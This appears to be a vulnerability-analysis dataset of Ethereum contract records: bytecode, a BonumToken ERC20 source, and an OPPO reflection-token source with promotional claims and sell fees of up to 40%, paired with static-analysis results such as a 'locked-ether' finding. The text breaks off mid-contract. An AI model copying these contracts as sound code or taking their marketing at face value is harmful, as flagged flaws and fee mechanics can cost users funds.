a0386168452909152812054610a12908363ffffffff610d5f16565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a0381161515610a8c57600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000600160a060020a0383161515610b0c57600080fd5b600160a060020a038416600090815260208190526040902054821115610b3157600080fd5b600160a060020a0384166000908152600260209081526040808320338452909152902054821115610b6157600080fd5b600160a060020a038416600090815260208190526040902054610b8a908363ffffffff610c6c16565b600160a060020a038086166000908152602081905260408082209390935590851681522054610bbf908363ffffffff610d5f16565b600160a060020a03808516600090815260208181526040808320949094559187168152600282528281203382529091522054610c01908363ffffffff610c6c16565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b600082821115610c7857fe5b50900390565b6000600160a060020a0383161515610c9557600080fd5b33600090815260208190526040902054821115610cb157600080fd5b33600090815260208190526040902054610cd1908363ffffffff610c6c16565b3360009081526020819052604080822092909255600160a060020a03851681522054610d03908363ffffffff610d5f16565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b81810182811015610d6c57fe5b929150505600a165627a7a7230582076ac679160027800aff552552801c483b027c9c0951a6134a39320b07326b6d70029
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
3,048
0x2c256a9e1ed6eb0c88ef2509f65c611d5f865af8
pragma solidity 0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting &#39;a&#39; not being zero, but the // benefit is lost if &#39;b&#39; is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { function safeTransfer(ERC20Basic token, address to, uint256 value) internal { require(token.transfer(to, value)); } function safeTransferFrom( ERC20 token, address from, address to, uint256 value ) internal { require(token.transferFrom(from, to, value)); } function safeApprove(ERC20 token, address spender, uint256 value) internal { require(token.approve(spender, value)); } } /** * @title TokenTimelock * @dev TokenTimelock is a token holder contract that will allow a * beneficiary to extract the tokens after a given release time */ contract TokenTimelock { using SafeERC20 for ERC20Basic; // ERC20 basic token contract being held ERC20Basic public token; // beneficiary of tokens after they are released address public beneficiary; // timestamp when token release is enabled uint256 public releaseTime; constructor( ERC20Basic _token, address _beneficiary, uint256 _releaseTime ) public { // solium-disable-next-line security/no-block-members require(_releaseTime > block.timestamp); token = _token; beneficiary = _beneficiary; releaseTime = _releaseTime; } /** * @notice Transfers tokens held by timelock to beneficiary. */ function release() public { // solium-disable-next-line security/no-block-members require(block.timestamp >= releaseTime); uint256 amount = token.balanceOf(this); require(amount > 0); token.safeTransfer(beneficiary, amount); } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract BonumToken is StandardToken, Ownable { string public constant name = "BonumToken"; string public constant symbol = "BONUM"; uint8 public constant decimals = 18; uint public constant INITIAL_SUPPLY = 65000000 * (10 ** uint256(decimals)); address public bounty; address public advisors; bool public burnt = false; TokenTimelock public reserveTimelock; TokenTimelock public teamTimelock; event Burn(address indexed burner, uint256 value); constructor(address _bounty, address _reserve, address _team, address _advisors, uint releaseTime) public { require(_bounty != address(0)); require(_reserve != address(0)); require(_advisors != address(0)); totalSupply_ = INITIAL_SUPPLY; bounty = _bounty; advisors = _advisors; reserveTimelock = new TokenTimelock(this, _reserve, releaseTime); teamTimelock = new TokenTimelock(this, _team, releaseTime); uint factor = (10 ** uint256(decimals)); uint bountyBalance = 1300000 * factor; balances[_bounty] = bountyBalance; emit Transfer(address(0), _bounty, bountyBalance); uint advisorsBalance = 6500000 * factor; balances[_advisors] = advisorsBalance; emit Transfer(address(0), _advisors, advisorsBalance); uint reserveBalance = 13000000 * factor; balances[reserveTimelock] = reserveBalance; emit Transfer(address(0), reserveTimelock, reserveBalance); uint teamBalance = 9750000 * factor; balances[teamTimelock] = teamBalance; emit Transfer(address(0), teamTimelock, teamBalance); uint ownerBalance = 34450000 * factor; balances[msg.sender] = ownerBalance; emit Transfer(address(0), msg.sender, ownerBalance); } /** * @dev Burns a specific amount of tokens, could be called only once * @param _value The amount of token to be burned. */ function burn(uint256 _value) public onlyOwner { require(!burnt); require(_value > 0); require(_value <= balances[msg.sender]); require(block.timestamp < 1690848000); //tokens are available to be burnt only for 5 years balances[msg.sender] = balances[msg.sender].sub(_value); totalSupply_ = totalSupply_.sub(_value); burnt = true; emit Burn(msg.sender, _value); emit Transfer(msg.sender, address(0), _value); } /** * @dev Moves locked tokens to reserve account. Could be called only after release time, * otherwise would throw an exeption. */ function releaseReserveTokens() public { reserveTimelock.release(); } /** * @dev Moves locked tokens to team account. Could be called only after release time, * otherwise would throw an exeption. */ function releaseTeamTokens() public { teamTimelock.release(); } }
0x6080604052600436106101195763ffffffff60e060020a60003504166306fdde03811461011e578063095ea7b3146101a857806314c411c7146101e057806318160ddd146101f757806323b872dd1461021e5780632ff2e9dc14610248578063313ce5671461025d57806342966c68146102885780634fed6a10146102a057806366188463146102d157806370a08231146102f5578063715018a61461031657806389cf56041461032b5780638da5cb5b14610340578063943dfef11461035557806395d89b411461036a578063a9059cbb1461037f578063b192da2d146103a3578063b4f3b453146103b8578063d73dd623146103cd578063dd62ed3e146103f1578063edcfd05014610418578063f2fde38b1461042d575b600080fd5b34801561012a57600080fd5b5061013361044e565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561016d578181015183820152602001610155565b50505050905090810190601f16801561019a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b457600080fd5b506101cc600160a060020a0360043516602435610485565b604080519115158252519081900360200190f35b3480156101ec57600080fd5b506101f56104eb565b005b34801561020357600080fd5b5061020c610558565b60408051918252519081900360200190f35b34801561022a57600080fd5b506101cc600160a060020a036004358116906024351660443561055e565b34801561025457600080fd5b5061020c6106d5565b34801561026957600080fd5b506102726106e4565b6040805160ff9092168252519081900360200190f35b34801561029457600080fd5b506101f56004356106e9565b3480156102ac57600080fd5b506102b561084d565b60408051600160a060020a039092168252519081900360200190f35b3480156102dd57600080fd5b506101cc600160a060020a036004351660243561085c565b34801561030157600080fd5b5061020c600160a060020a036004351661094c565b34801561032257600080fd5b506101f5610967565b34801561033757600080fd5b506101f56109d5565b34801561034c57600080fd5b506102b5610a28565b34801561036157600080fd5b506102b5610a37565b34801561037657600080fd5b50610133610a46565b34801561038b57600080fd5b506101cc600160a060020a0360043516602435610a7d565b3480156103af57600080fd5b506101cc610b5e565b3480156103c457600080fd5b506102b5610b7f565b3480156103d957600080fd5b506101cc600160a060020a0360043516602435610b8e565b3480156103fd57600080fd5b5061020c600160a060020a0360043581169060243516610c27565b34801561042457600080fd5b506102b5610c52565b34801561043957600080fd5b506101f5600160a060020a0360043516610c61565b60408051808201909152600a81527f426f6e756d546f6b656e00000000000000000000000000000000000000000000602082015281565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b600760009054906101000a9004600160a060020a0316600160a060020a03166386d1a69f6040518163ffffffff1660e060020a028152600401600060405180830381600087803b15801561053e57600080fd5b505af1158015610552573d6000803e3d6000fd5b50505050565b60015490565b6000600160a060020a038316151561057557600080fd5b600160a060020a03841660009081526020819052604090205482111561059a57600080fd5b600160a060020a03841660009081526002602090815260408083203384529091529020548211156105ca57600080fd5b600160a060020a0384166000908152602081905260409020546105f3908363ffffffff610c8416565b600160a060020a038086166000908152602081905260408082209390935590851681522054610628908363ffffffff610c9616565b600160a060020a0380851660009081526020818152604080832094909455918716815260028252828120338252909152205461066a908363ffffffff610c8416565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b6a35c4490f820855e100000081565b601281565b600354600160a060020a0316331461070057600080fd5b60055474010000000000000000000000000000000000000000900460ff161561072857600080fd5b6000811161073557600080fd5b3360009081526020819052604090205481111561075157600080fd5b6364c84b00421061076157600080fd5b33600090815260208190526040902054610781908263ffffffff610c8416565b336000908152602081905260409020556001546107a4908263ffffffff610c8416565b6001556005805474ff000000000000000000000000000000000000000019167401000000000000000000000000000000000000000017905560408051828152905133917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a260408051828152905160009133917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a350565b600754600160a060020a031681565b336000908152600260209081526040808320600160a060020a0386168452909152812054808311156108b157336000908152600260209081526040808320600160a060020a03881684529091528120556108e6565b6108c1818463ffffffff610c8416565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526020819052604090205490565b600354600160a060020a0316331461097e57600080fd5b600354604051600160a060020a03909116907ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482090600090a26003805473ffffffffffffffffffffffffffffffffffffffff19169055565b600660009054906101000a9004600160a060020a0316600160a060020a03166386d1a69f6040518163ffffffff1660e060020a028152600401600060405180830381600087803b15801561053e57600080fd5b600354600160a060020a031681565b600454600160a060020a031681565b60408051808201909152600581527f424f4e554d000000000000000000000000000000000000000000000000000000602082015281565b6000600160a060020a0383161515610a9457600080fd5b33600090815260208190526040902054821115610ab057600080fd5b33600090815260208190526040902054610ad0908363ffffffff610c8416565b3360009081526020819052604080822092909255600160a060020a03851681522054610b02908363ffffffff610c9616565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b60055474010000000000000000000000000000000000000000900460ff1681565b600654600160a060020a031681565b336000908152600260209081526040808320600160a060020a0386168452909152812054610bc2908363ffffffff610c9616565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600554600160a060020a031681565b600354600160a060020a03163314610c7857600080fd5b610c8181610ca9565b50565b600082821115610c9057fe5b50900390565b81810182811015610ca357fe5b92915050565b600160a060020a0381161515610cbe57600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790555600a165627a7a72305820aae393aeb350af218222ceee0e26bba31ca1dd004e80c7b7ad8ab1177dd6ba980029
{"success": true, "error": null, "results": {}}
3,049
0x0644cdf17e9d3fe308091c4416494ba2c0722556
/** *Submitted for verification at Etherscan.io on 2021-06-24 */ /** * +-+ +-+ +-+ +-+ +-+ +++ + + + + + +++ + +-+ +-+ * | | | | | | | | | | | | | | | | | | | | * | | | | | | | | | | | | | | | | | | | | * | | +-+ +-+ | | +-+ | | | |\| | | | ++ +-+ * | | | | | | |\ | | | | | | | | | | * | | | | | | | | | | | | | | | | | | * +-+ + + +-+ + + + +-+ + + + + + +-+ +-+ * * "Oh, there's a lot of opportunities * If you know when to take them * You know there's a lot of opportunities * If there aren't, you can make them" * * * * OPPO token * www.oppo.to * t.me/oppotoken * twitter.com/oppotoken * * MASSIVE REWARDS * OPPO Token rewards holders with great incentives like regular airdrops from new token releases. * * POWERFUL MARKETING * The more you promote OPPO the more chance to receive free OPPO’s! * * STRONG COMMUNITY * OPPO’s community is important and that’s where it all starts. Join the Telegram and let’s go!! * * AWESOME TOKENOMICS * Fair Launch: There are no team tokens or presale tokens issued. * Total Supply: A total of 1,000,000,000,000 tokens are available at launch. * Buy Fee: On purchase there is a 10% total tax (6% goes to the holders, 4% to the team for marketing). * Bot Protection: The first buy of OPPO is capped at 3,000,000,000 tokens, 45-second buy cooldown for the first 2 minutes after launch. * There is also a 15-second cooldown to sell after a buy to ban front-runner bots. There are no cool downs between sells. * The sell fee is dynamically scaled to the sell's price impact, with a minimum fee of 10% and a maximum fee of 40%. * *SPDX-License-Identifier: UNLICENSED */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if(a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract OPPO is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => User) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = unicode"Opportunities"; string private constant _symbol = unicode"OPPO"; uint8 private constant _decimals = 9; uint256 private _taxFee = 6; uint256 private _teamFee = 4; uint256 private _feeRate = 5; uint256 private _feeMultiplier = 1000; uint256 private _launchTime; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; uint256 private _maxBuyAmount; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private _cooldownEnabled = true; bool private inSwap = false; bool private _useImpactFeeSetter = true; uint256 private buyLimitEnd; struct User { uint256 buy; uint256 sell; bool exists; } event MaxBuyAmountUpdated(uint _maxBuyAmount); event CooldownEnabledUpdated(bool _cooldown); event FeeMultiplierUpdated(uint _multiplier); event FeeRateUpdated(uint _rate); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function setFee(uint256 impactFee) private { uint256 _impactFee = 10; if(impactFee < 10) { _impactFee = 10; } else if(impactFee > 40) { _impactFee = 40; } else { _impactFee = impactFee; } if(_impactFee.mod(2) != 0) { _impactFee++; } _taxFee = (_impactFee.mul(6)).div(10); _teamFee = (_impactFee.mul(4)).div(10); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) { if(_cooldownEnabled) { if(!cooldown[msg.sender].exists) { cooldown[msg.sender] = User(0,0,true); } } // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(tradingOpen, "Trading not yet enabled."); _taxFee = 6; _teamFee = 4; if(_cooldownEnabled) { if(buyLimitEnd > block.timestamp) { require(amount <= _maxBuyAmount); require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired."); cooldown[to].buy = block.timestamp + (45 seconds); } } if(_cooldownEnabled) { cooldown[to].sell = block.timestamp + (15 seconds); } } uint256 contractTokenBalance = balanceOf(address(this)); // sell if(!inSwap && from != uniswapV2Pair && tradingOpen) { if(_cooldownEnabled) { require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired."); } if(_useImpactFeeSetter) { uint256 feeBasis = amount.mul(_feeMultiplier); feeBasis = feeBasis.div(balanceOf(uniswapV2Pair).add(amount)); setFee(feeBasis); } if(contractTokenBalance > 0) { if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) { contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100); } swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function addLiquidity() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _maxBuyAmount = 3000000000 * 10**9; _launchTime = block.timestamp; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() public onlyOwner { tradingOpen = true; buyLimitEnd = block.timestamp + (120 seconds); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } // fallback in case contract is not releasing tokens fast enough function setFeeRate(uint256 rate) external { require(_msgSender() == _FeeAddress); require(rate < 51, "Rate can't exceed 50%"); 